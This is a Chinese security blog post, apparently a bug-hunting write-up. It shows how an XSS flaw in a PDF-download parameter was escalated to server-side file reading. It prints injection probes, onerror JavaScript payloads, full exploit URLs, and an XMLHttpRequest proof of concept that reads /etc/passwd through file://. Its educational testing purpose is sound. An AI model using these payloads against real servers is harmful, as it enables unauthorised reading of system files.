一、 前言
XSS是最为常见的Web漏洞之一,多年来连续入选OWASP TOP 10,相信大家都耳熟能详。
它是一种代码注入类的攻击,是一种客户端侧的攻击,攻击者通过在Web应用中注入恶意JavaScript代码,通过点击URL,最终在受害者浏览器端执行的一种漏洞。主要有反射型XSS、存储型XSS、基于DOM的XSS三类。
XSS一些比较常规的危害大概有:重定向浏览器、窃取Cookie、浏览器劫持等。
与常规的XSS介绍不同,本篇文章侧重于发现XSS后的进一步利用。
主要介绍在某次实际测试过程中,发现XSS漏洞之后,如何进一步的利用,最终通过XSS达到服务端任意文件读取的危害。
二、 漏洞详情
在某个Web站点中,发现了一处可以让我们下载PDF的功能,大概的URL如下:
https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=testxyz&date=2020-08-17
测试过程中发现,URL中的utrnumber
字段的值在PDF文件中被渲染,所以尝试用类似**"><s>aaa
这样的html代码来当做该字段的值,也就是如下的URL
https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber="><s>aaa&date=2020-08-17
访问该URL,打开获取到的PDF文件,发现"><s>aaa
被当做HTML渲染,这就导致了XSS。结果如下:
尝试过用< iframe>
标签来探测内网和file协议来读取文件,但都失败了。
在此之后,尝试使用JavaScript来进行进一步的探索,但是目前不不确定PDF的渲染过程中,是否执行了JavaScript脚本。所以尝试使用如下脚本来观察JS是否成功执行。
<p id="test">123</p>
< script>
document.getElementById('test').innerHTML='aaaa'
</script>
<!-- or this -->
<img src=x onerror=document.write("aaaa")>
对应URL为:
https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=<img src=x onerror=document.write("aaaa")>&date=2020-08-17
观察到JavaScript脚本成功执行。
接下来,检查了一下JavaScript执行所在context,令人惊喜的是这段脚本,在服务端是在file://
下执行的,这也就意味着我们或许可以借此来达到任意文件读取的效果。
https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=<img src=x onerror=document.write(<img src=x onerror=document.write('aaaa'%2bwindow.location)>)>&date=2020-08-17
接下来,尝试通过 XHR(XMLHttpRequest)来读取服务器端文件的内容,简单的PoC如下:
< script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
也即访问如下URL,下载对应的PDF文件:
https://xxx.com/pay/downloadStatements?Id=xxxx&utrnumber=< script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>&date=2020-08-17
接下来查看对应 的PDF文件内容,发现成功读取到了passwd文件的内容
至此,我们就完成了服务端XSS到服务端的任意文件读取,然后就能读取服务器上随便一个文件的内容啦。
三、 总结
XSS是Web中很常见的一种漏洞,我们在日常的漏洞挖掘中,如果发现了XSS,不妨结合具体的应用功能做进一步的挖掘,尝试扩大XSS的危害,本次挖掘就利用XSS达到了的服务端任意文件读取的效果。
参考/学习资料:
- https://www.aptive.co.uk/blog/xss-cross-site-scripting/
- https://www.bugcrowd.com/resources/webinars/cross-site-scripting/
相关推荐: JavaWeb中的权限控制——Spring AOP
一、前言 在实际开发场景中经常需要解决接口权限鉴别问题,能处理的方式有很多种,例如可以直接在controller中和service调用中识别用户身份,或者根据数据库返回的entity判断对应的creator是否为当前user,也可以使用…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论